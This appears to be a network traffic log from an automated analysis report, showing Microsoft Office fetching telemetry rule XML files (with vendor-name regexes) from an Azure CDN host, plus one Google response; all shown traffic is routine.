2024-11-13 13:41:16 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 13 Nov 2024 13:41:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 13:41:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-13 13:41:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	49729	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:16 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:16 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:16 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 371d2f74-201e-000c-2e7a-3579c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134116Z-1749fc9bdbdqhv2phC1DFWvd30000000012g000000005k11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:16 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49731	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: acd6ed11-801e-0048-15a7-34f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-1749fc9bdbdns7kfhC1DFWb6c4000000015000000000a0hm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49730	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-16547b76f7f2g4rlhC1DFWnx880000000h60000000004wty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.7	49732	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 41a7f78c-b01e-0097-2b78-354f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-r178fb8d765n474shC1DFWge7g00000000zg00000000g5cc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:17 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49733	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-16547b76f7fq9mcrhC1DFWq15w0000000h8g000000002ps2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:17 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49734	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-1749fc9bdbdhnf7rhC1DFWgd0n000000012000000000bkpr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:17 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49736	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 8e718dad-301e-0051-6df1-2c38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134117Z-16547b76f7fdf69shC1DFWcpd00000000h1000000000f50g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49740	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f61e936b-a01e-006f-0ea2-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-r178fb8d7656shmjhC1DFWu5kw0000000140000000008qs4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49738	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:17 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 231ce337-901e-0083-5701-2dbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-16547b76f7fnlcwwhC1DFWz6gw0000000hc0000000005219 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49742	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: d33f60ae-f01e-0085-74ec-2b88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-16547b76f7fnlcwwhC1DFWz6gw0000000h9000000000dh6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49745	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 13:41:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:18 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T134118Z-16547b76f7f76p6chC1DFWctqw0000000h9000000000c4en x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:18 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49746	13.107.246.44	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:18 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
